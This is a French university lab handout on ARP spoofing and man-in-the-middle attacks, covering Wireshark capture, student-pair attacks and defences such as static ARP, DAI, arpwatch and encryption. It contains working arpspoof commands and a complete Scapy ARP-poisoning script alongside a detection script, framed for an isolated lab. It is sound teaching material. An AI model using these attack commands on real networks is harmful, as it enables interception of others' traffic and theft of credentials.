Sécurité des Réseaux
Attaques, Écoutes et Défenses
Cours + Travaux Pratiques en Binôme
L2 Informatique — Séance de 3h30
Programme de la séance
Partie Contenu Durée
1 Rappels : la pile réseau TCP/IP 25 min
2 Le protocole ARP et ses failles 25 min
TP 1 Capture réseau avec Wireshark 35 min
Pause 10 min
3 Attaque Man-in-the-Middle (MitM) 20 min
TP 2 ARP Spoofing entre binômes 45 min
4 Défenses et bonnes pratiques 15 min
TP 3 Défi final + inversion des rôles 25 min
Bilan collectif 10 min
! Cadre légal & éthique
Toutes les manipulations de ce TP s’effectuent exclusivement sur le réseau isolé
du laboratoire (machines virtuelles ou réseau physique dédié, sans accès Internet).
Effectuer ces attaques sur un réseau sans autorisation explicite est un délit pénal
(art. 323-1 du Code Pénal).
Département Informatique — 7 mai 2026
Sécurité Réseaux — Attaques & Défenses L2 Informatique
0 1 Table
des matières
1 Rappels : la pile réseau TCP/IP 2
1.1 Pourquoi parler de couches ? . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.2 Adresse IP vs adresse MAC . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 Comment un paquet voyage sur le LAN ? . . . . . . . . . . . . . . . . . . . 2
2 ARP : le protocole et sa faille fondamentale 3
2.1 ARP — Address Resolution Protocol . . . . . . . . . . . . . . . . . . . . . 3
2.1.1 Fonctionnement normal . . . . . . . . . . . . . . . . . . . . . . . . 3
2.1.2 La faille : ARP est naïf ! . . . . . . . . . . . . . . . . . . . . . . . . 3
2.1.3 Qu’est-ce que l’ARP Spoofing ? . . . . . . . . . . . . . . . . . . . . 3
3 TP 1 — Capture réseau avec Wireshark (35 min) 4
3.1 Étape 1 — Lancer Wireshark . . . . . . . . . . . . . . . . . . . . . . . . . 4
3.2 Étape 2 — Générer du trafic (étudiant A) . . . . . . . . . . . . . . . . . . 4
3.3 Étape 3 — Analyser dans Wireshark (étudiant B) . . . . . . . . . . . . . . 5
4 Attaque Man-in-the-Middle : principe 5
4.1 Résumé visuel de l’attaque . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
4.2 Ce qu’il faut activer : le forwarding IP . . . . . . . . . . . . . . . . . . . . 5
5 TP 2 — ARP Spoofing en binôme (45 min) 6
5.1 Phase 1A — Vérification initiale (côté victime B) . . . . . . . . . . . . . . 6
5.2 Phase 1B — Lancement de l’attaque (côté attaquant A) . . . . . . . . . . 7
5.3 Phase 1C — Vérification côté victime . . . . . . . . . . . . . . . . . . . . . 7
5.4 Script Python alternatif (avec Scapy) . . . . . . . . . . . . . . . . . . . . . 7
5.5 Phase 2 — Inversion des rôles . . . . . . . . . . . . . . . . . . . . . . . . . 8
6 Défenses contre l’ARP Spoofing 9
6.1 Côté système : entrées ARP statiques . . . . . . . . . . . . . . . . . . . . . 9
6.2 Côté réseau : Dynamic ARP Inspection (DAI) . . . . . . . . . . . . . . . . 9
6.3 Détecter une attaque en cours : arpwatch . . . . . . . . . . . . . . . . . . . 10
6.4 La vraie solution : chiffrer le trafic . . . . . . . . . . . . . . . . . . . . . . . 10
7 TP 3 — Défi final : détection et contre-mesure (25 min) 10
7.1 Outils de détection pour la victime . . . . . . . . . . . . . . . . . . . . . . 11
8 Récapitulatif et bonnes pratiques 12
8.1 Ce qu’on a appris aujourd’hui . . . . . . . . . . . . . . . . . . . . . . . . . 12
8.2 À retenir absolument . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
Compte-rendu à rendre 12
1
Sécurité Réseaux — Attaques & Défenses L2 Informatique
1 1 Rappels :
la pile réseau TCP/IP
1.1 Pourquoi parler de couches ?
Quand tu envoies un message à un ami, tu n’as pas à te demander comment les
signaux électriques traversent le câble. C’est le principe des couches réseau : chaque
couche s’occupe d’une tâche précise et ne voit que la couche juste en dessous.
Le modèle TCP/IP (utilisé sur Internet) possède 4 couches :
Couche Application
Injection, phishing, XSS
HTTP, DNS, FTP, SMTP
Couche Transport
SYN Flood, port scan
TCP, UDP
Couche Internet (Réseau)
IP Spoofing, ping flood
IP, ICMP
Couche Accès réseau
ARP Spoofing, MAC Flood
Ethernet, Wi-Fi, ARP
Ce que l’on retient : aujourd’hui on attaque la couche la plus basse (accès réseau),
et notamment le protocole ARP. C’est là que se passent les choses les plus intéressantes
sur un réseau local (LAN).
1.2 Adresse IP vs adresse MAC
Définition
— Adresse IP : identifiant logique, attribué par le réseau. Exemple :
[Link]. Peut changer.
— Adresse MAC : identifiant physique gravé dans la carte réseau. Exemple :
AA:BB:CC:DD:EE:FF. Unique (en théorie).
Pour envoyer un paquet sur un réseau local, on a besoin des deux : l’IP pour choisir
la destination, le MAC pour livrer physiquement le paquet.
Bon à savoir
Analogie : l’IP est comme le nom d’une personne (peut changer), le MAC est
comme son numéro de sécurité sociale (unique et permanent).
1.3 Comment un paquet voyage sur le LAN ?
1. Machine A veut écrire à l’IP [Link] (le routeur).
2. A consulte son cache ARP : a-t-elle déjà le MAC de [Link] ?
3. Si non : A envoie une requête ARP en broadcast (à tout le monde).
4. Le routeur répond avec son MAC.
5. A envoie le paquet directement au routeur grâce à son MAC.
2
Sécurité Réseaux — Attaques & Défenses L2 Informatique
2 1 ARP :
le protocole et sa faille fondamentale
2.1 ARP — Address Resolution Protocol
ARP en une phrase
ARP traduit une adresse IP en adresse MAC. C’est le carnet d’adresses du réseau
local.
2.1.1 Fonctionnement normal
Imaginons trois machines sur le même réseau :
Machine IP MAC
Alice (victime) [Link] AA:AA:AA:AA:AA:AA
Routeur [Link] BB:BB:BB:BB:BB:BB
Attaquant [Link] CC:CC:CC:CC:CC:CC
Scénario normal : Alice veut accéder à Internet.
1. Alice envoie en broadcast : « Qui a l’IP [Link] ? »
2. Le routeur répond : « C’est moi ! Mon MAC est BB :BB :BB :BB :BB :BB »
3. Alice mémorise cette association dans son cache ARP.
4. Alice envoie ses paquets vers le MAC du routeur.
2.1.2 La faille : ARP est naïf !
! Cadre légal & éthique
ARP ne vérifie jamais l’identité de celui qui répond. Toute machine peut envoyer
une réponse ARP non sollicitée (gratuitous ARP ) et elle sera acceptée sans question.
C’est la porte ouverte à l’ARP Spoofing.
2.1.3 Qu’est-ce que l’ARP Spoofing ?
L’attaquant envoie de fausses réponses ARP pour empoisonner le cache d’Alice :
1. Attaquant dit à Alice : « Le routeur [Link], c’est moi (MAC CC :CC :CC :CC :CC :CC)
»
2. Attaquant dit au routeur : « Alice [Link], c’est moi (MAC CC :CC :CC :CC :CC :CC)
»
3. Maintenant tout le trafic d’Alice passe par l’attaquant.
4. L’attaquant relaie les paquets (le trafic continue) → Alice ne voit rien.
C’est une attaque Man-in-the-Middle (MitM) : l’attaquant est au milieu de la
conversation sans que les deux parties le sachent.
3
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Alice trafic Attaquant relayé Routeur
.10 .99 .1
croit parler au routeur
3 1 TP
1 — Capture réseau avec Wireshark (35 min)
TP 1 — Wireshark : observer le trafic réseau
Objectif : apprendre à capturer et lire le trafic réseau. Comprendre ce qu’on voit
passer sans chiffrement.
Organisation du binôme :
— Étudiant A : génère du trafic (navigateur, ping, FTP).
— Étudiant B : capture et analyse avec Wireshark.
— Inverser les rôles après 15 minutes.
Machines utilisées :
— Machine 1 (A) : Kali Linux — [Link]
— Machine 2 (B) : Ubuntu/Windows — [Link]
3.1 Étape 1 — Lancer Wireshark
Terminal
# Lancer Wireshark en mode graphique ( sur Kali )
sudo wireshark &
# Ou en ligne de commande ( plus l g e r ) :
sudo tcpdump -i eth0 -n
Dans Wireshark, choisissez l’interface eth0 puis cliquez sur le bouton bleu Start cap-
turing packets.
3.2 Étape 2 — Générer du trafic (étudiant A)
Terminal
# Ping simple vers le routeur
ping [Link] -c 5
# R e q u t e HTTP non c h i f f r e
curl http :// neverssl . com
4
Sécurité Réseaux — Attaques & Défenses L2 Informatique
# Connexion FTP ( si serveur disponible )
ftp [Link]
# Entrez : user / password123 quand d e m a n d
3.3 Étape 3 — Analyser dans Wireshark (étudiant B)
Utilisez les filtres suivants dans la barre de filtre de Wireshark :
Ce que vous voulez voir Filtre Wireshark
Tout le trafic ICMP (ping) icmp
Trafic HTTP seulement http
Trafic entre les deux machines [Link] == [Link]
Requêtes ARP arp
Trafic FTP ftp
Questions TP 1
Q1. Combien de paquets ICMP voyez-vous pour un ping de 5 paquets ? Pourquoi
ce nombre ?
Q2. En filtrant http , pouvez-vous lire le contenu d’une requête GET ? Que contient
l’en-tête User-Agent ?
Q3. En filtrant ftp , voyez-vous le nom d’utilisateur et le mot de passe en clair ?
Que concluez-vous ?
Q4. Comparez avec une connexion ssh : que voit-on dans Wireshark ? Pourquoi
est-ce différent ?
4 1 Attaque
Man-in-the-Middle : principe
4.1 Résumé visuel de l’attaque
Une attaque MitM via ARP Spoofing se déroule en 3 temps :
1. Empoisonnement : l’attaquant envoie de faux paquets ARP.
2. Interception : tout le trafic de la victime arrive sur la machine de l’attaquant.
3. Relais : l’attaquant retransmet les paquets (sinon la connexion de la victime serait
coupée, ce qui l’alerterait).
4.2 Ce qu’il faut activer : le forwarding IP
Pour que l’attaque soit silencieuse, la machine de l’attaquant doit retransmettre les
paquets qu’elle intercepte. Sinon la victime perd sa connexion et comprend qu’il se passe
quelque chose.
5
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Terminal
# Activer le relais de paquets IP sur Kali Linux
sudo sysctl -w net . ipv4 . ip_forward =1
# V r i f i e r que c ’ est bien a c t i v ( doit afficher "1")
cat / proc / sys / net / ipv4 / ip_forward
Bon à savoir
Sans ip_forward=1 , la victime perd immédiatement sa connexion à Internet. C’est
ce qu’on appelle une attaque par déni de service (involontaire ici). Avec le for-
warding, l’attaque est invisible.
5 1 TP
2 — ARP Spoofing en binôme (45 min)
TP 2 — ARP Spoofing : attaquer son binôme
Objectif : réaliser une attaque ARP Spoofing complète, capturer le trafic de son
binôme, puis inverser les rôles.
Rôles — Phase 1 (20 min) :
— Binôme A = Attaquant — Machine Kali [Link]
— Binôme B = Victime — Machine Ubuntu [Link]
— Routeur simulé — [Link]
Rôles — Phase 2 (20 min) : inverser A et B.
Phase 3 (5 min) : restaurer le réseau + questions.
5.1 Phase 1A — Vérification initiale (côté victime B)
Terminal
# Sur la machine VICTIME ( B i n m e B )
# Afficher le cache ARP AVANT l ’ attaque
arp -n
# R s u l t a t attendu ( exemple ) :
# [Link] BB : BB : BB : BB : BB : BB <-- vrai MAC du routeur
# [Link] AA : AA : AA : AA : AA : AA <-- MAC attaquant
# Garder un ping continu pour voir si la connexion coupe
ping [Link]
5.2 Phase 1B — Lancement de l’attaque (côté attaquant A)
6
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Terminal
# TAPE 1 : Activer le forwarding IP ( indispensable !)
sudo sysctl -w net . ipv4 . ip_forward =1
# TAPE 2 : Lancer l ’ ARP Spoofing
# Terminal 1 : faire croire la VICTIME que l ’ attaquant =
routeur
sudo arpspoof -i eth0 -t [Link] [Link]
# Terminal 2 : faire croire au ROUTEUR que l ’ attaquant =
victime
sudo arpspoof -i eth0 -t [Link] [Link]
# TAPE 3 : Dans un 3 e terminal , capturer le trafic
intercept
sudo wireshark &
# Filtre : not arp and ip . addr == [Link]
5.3 Phase 1C — Vérification côté victime
Terminal
# Sur la machine VICTIME : re - afficher le cache ARP
arp -n
# R s u l t a t A P R S l ’ attaque :
# [Link] CC : CC : CC : CC : CC : CC <-- MAC de l ’ attaquant
!!!
# ( au lieu du vrai
routeur )
Le cache ARP a été empoisonné : la victime croit que le routeur a le MAC de
l’attaquant. Tout son trafic ira vers l’attaquant.
5.4 Script Python alternatif (avec Scapy)
Si arpspoof n’est pas disponible, voici le même résultat en Python :
1 # !/ usr / bin / env python3
2 """
3 arp_spoof_simple . py
4 Usage : sudo python3 arp_spoof_simple . py
5 """
6 from scapy . all import ARP , Ether , sendp , get_if_hwaddr
7 import time
8
9 # Param tres modifier selon votre r s e a u
7
Sécurité Réseaux — Attaques & Défenses L2 Informatique
10 VICTIME_IP = " [Link] "
11 ROUTEUR_IP = " [Link] "
12 INTERFACE = " eth0 "
13 #
14
15 mon_mac = get_if_hwaddr ( INTERFACE )
16 print ( f " [*] Notre MAC : { mon_mac } " )
17 print ( f " [*] Victime : { VICTIME_IP } " )
18 print ( f " [*] Routeur : { ROUTEUR_IP } " )
19 print ( " [*] D m a r r a g e de l ’ ARP Spoofing Ctrl + C pour a r r t e r \ n "
)
20
21 def empoisonner ( cible_ip , usurpe_ip ) :
22 " " " Envoie un faux ARP reply : ’ je suis usurpe_ip , mon MAC =
mon_mac ’" " "
23 paquet = Ether ( dst = " ff : ff : ff : ff : ff : ff " ) / ARP (
24 op =2 , # ARP reply
25 pdst = cible_ip ,
26 psrc = usurpe_ip ,
27 hwsrc = mon_mac # on met NOTRE mac la place du vrai
28 )
29 sendp ( paquet , verbose = False )
30
31 try :
32 while True :
33 # Dire la victime : " le routeur c ’ est moi "
34 empoisonner ( VICTIME_IP , ROUTEUR_IP )
35 # Dire au routeur : " la victime c ’ est moi "
36 empoisonner ( ROUTEUR_IP , VICTIME_IP )
37 time . sleep (1) # r p t e r toutes les secondes
38
39 except KeyboardInterrupt :
40 print ( " \ n [!] A r r t le cache ARP se r t a b l i r a
automatiquement . " )
5.5 Phase 2 — Inversion des rôles
Inversion des rôles
Après 20 minutes, inverser les rôles :
— L’ancien attaquant devient la victime.
— L’ancien victime devient l’attaquant.
Répéter exactement les mêmes étapes. Comparer vos observations dans le compte-
rendu.
8
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Questions TP 2
Q1. Quelle entrée du cache ARP a changé sur la machine victime ? Notez le MAC
avant et après.
Q2. Le ping de la victime vers le routeur s’est-il interrompu ? Pourquoi (lien avec
ip_forward ) ?
Q3. Dans Wireshark (côté attaquant), pouvez-vous voir les requêtes HTTP de la
victime ? Que contiennent-elles ?
Q4. Que se passe-t-il si l’attaquant coupe le forwarding en cours d’attaque ? Testez-
le.
Q5. Comment la victime pourrait-elle détecter cette attaque ? Proposez au moins
deux méthodes.
6 1 Défenses
contre l’ARP Spoofing
6.1 Côté système : entrées ARP statiques
La défense la plus simple est de ne pas laisser le cache ARP se mettre à jour automa-
tiquement pour les machines critiques (comme le routeur) :
Terminal
# Ajouter une e n t r e ARP STATIQUE ( ne peut pas tre
m o d i f i e par spoofing )
sudo arp -s [Link] BB : BB : BB : BB : BB : BB
# V rifier
arp -n
# L ’ e n t r e a p p a r a t avec le flag " CM " ( permanent )
# Supprimer l ’ e n t r e statique
sudo arp -d [Link]
6.2 Côté réseau : Dynamic ARP Inspection (DAI)
Les commutateurs (switches) gérés de niveau entreprise peuvent activer le DAI : le
switch vérifie chaque paquet ARP contre une table de correspondances IP/MAC autori-
sées. Tout paquet ARP suspect est bloqué.
6.3 Détecter une attaque en cours : arpwatch
9
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Terminal
# Installer arpwatch
sudo apt install arpwatch -y
# Lancer la surveillance
sudo arpwatch -i eth0
# Arpwatch envoie une alerte par mail si une adresse MAC
# change de correspondance IP --> signe d ’ ARP Spoofing
6.4 La vraie solution : chiffrer le trafic
Même si l’attaquant intercepte le trafic, si celui-ci est chiffré, il ne peut rien lire :
Protocole non chiffré Remplacer par Port sécurisé
HTTP HTTPS (TLS) 443
FTP SFTP ou FTPS 22 / 990
Telnet SSH 22
POP3 / IMAP POP3S / IMAPS 995 / 993
Bon à savoir
Un MitM sur du trafic HTTPS est beaucoup plus difficile : le navigateur vérifie le
certificat du serveur. Si l’attaquant présente un faux certificat, le navigateur affiche
une alerte de sécurité.
7 1 TP
3 — Défi final : détection et contre-mesure (25 min)
TP 3 — Défi : attaquer ET se défendre
Objectif : un binôme attaque, l’autre tente de détecter et bloquer l’attaque en
temps réel. On ne sait pas à l’avance quand l’attaque commence.
Durée : 10 min par rôle, puis 5 min de discussion.
Règles :
1. L’attaquant lance l’ARP Spoofing à un moment aléatoire dans les 5 premières
minutes.
2. La victime surveille son cache ARP et son trafic Wireshark.
3. La victime doit détecter l’attaque et la bloquer avant 5 minutes.
4. L’attaquant essaie de rester invisible le plus longtemps possible.
10
Sécurité Réseaux — Attaques & Défenses L2 Informatique
7.1 Outils de détection pour la victime
Terminal
# M t h o d e 1 : Surveiller les changements de cache ARP
watch -n 1 arp -n
# " watch " relance " arp -n " toutes les secondes
# M t h o d e 2 : Wireshark -- filtre ARP suspect
# Dans Wireshark : filtrer " arp " et surveiller les
# " ARP Reply " non s o l l i c i t s ( opcode == 2)
# M t h o d e 3 : Script de d t e c t i o n simple
1 # !/ usr / bin / env python3
2 """
3 detecter_arp_spoof . py Script de d t e c t i o n d ’ ARP Spoofing
4 Usage : sudo python3 detecter_arp_spoof . py
5 """
6 from scapy . all import sniff , ARP
7 import datetime
8
9 # Table de correspondance I P MAC connue ( remplir avec les
valeurs r e l l e s )
10 TABLE_DE_CONFIANCE = {
11 " [Link] " : " BB : BB : BB : BB : BB : BB " , # routeur
12 " [Link] " : " AA : AA : AA : AA : AA : AA " , # machine A
13 }
14
15 def analyser_paquet ( paquet ) :
16 " " " A p p e l e pour chaque paquet ARP c a p t u r . " " "
17 if paquet . haslayer ( ARP ) and paquet [ ARP ]. op == 2: # ARP reply
18 ip_source = paquet [ ARP ]. psrc
19 mac_source = paquet [ ARP ]. hwsrc
20
21 if ip_source in TABLE_DE_CONFIANCE :
22 mac_attendu = TABLE_DE_CONFIANCE [ ip_source ]
23 if mac_source != mac_attendu :
24 heure = datetime . datetime . now () . strftime ( " % H :% M :% S "
)
25 print ( f " [ ALERTE { heure }] ARP Spoofing d t e c t !")
26 print ( f " IP : { ip_source } " )
27 print ( f " MAC attendu : { mac_attendu } " )
28 print ( f " MAC r e u : { mac_source } " )
29 print ( f " Quelqu ’ un usurpe l ’ i d e n t i t de {
ip_source } !\ n " )
30
31 print ( " [*] Surveillance ARP en cours ... ( Ctrl + C pour a r r t e r ) " )
32 sniff ( filter = " arp " , prn = analyser_paquet , store = False )
11
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Questions TP 3
Q1. En combien de temps avez-vous détecté l’attaque ? Quelle méthode a été la
plus efficace ?
Q2. Le script Python a-t-il correctement détecté l’attaque ? Quelles sont ses li-
mites ?
Q3. Proposez une amélioration du script : comment bloquer automatiquement l’at-
taque une fois détectée ?
Q4. Dans un vrai réseau d’entreprise, qui s’occuperait de cette surveillance ? Quel
outil professionnel serait utilisé ?
8 1 Récapitula
et bonnes pratiques
8.1 Ce qu’on a appris aujourd’hui
Notion Ce qu’il faut retenir
ARP Traduit IP → MAC sur le LAN
Cache ARP Mémorisé localement, pas authentifié
ARP Spoofing Empoisonner le cache avec de fausses réponses
MitM Intercepter une communication sans être vu
ip_forward Permet de relayer les paquets interceptés
Défense ARP statique, DAI, arpwatch, chiffrement (HTTPS/SSH)
8.2 À retenir absolument
1. Un réseau non chiffré = un réseau lisible par n’importe qui sur le même LAN.
2. ARP est un protocole de confiance implicite : il n’a pas été conçu avec la
sécurité en tête (années 80).
3. HTTPS protège le contenu même si le MitM intercepte le trafic.
4. La détection est possible mais nécessite une surveillance active.
8 1 Compte-
rendu à rendre — par binôme
Livrable — à rendre dans les 7 jours
Le compte-rendu (2 à 3 pages, format PDF) doit contenir :
1. Noms du binôme et configuration réseau utilisée.
2. TP 1 : captures Wireshark annotées + réponses aux 4 questions.
3. TP 2 : état du cache ARP avant/après + réponses aux 5 questions.
4. TP 3 : temps de détection + réponses aux 4 questions.
5. Conclusion personnelle : qu’avez-vous appris ? Qu’est-ce qui vous a surpris ?
12
Sécurité Réseaux — Attaques & Défenses L2 Informatique
Critère Barème Note
Captures Wireshark commentées (TP1) 4 pts /4
Démonstration ARP Spoofing (TP2) 6 pts /6
Détection et contre-mesures (TP3) 4 pts /4
Qualité des réponses aux questions 4 pts /4
Clarté et présentation du rapport 2 pts /2
Total 20 pts /20
Document pédagogique — Usage académique uniquement — 7 mai 2026
13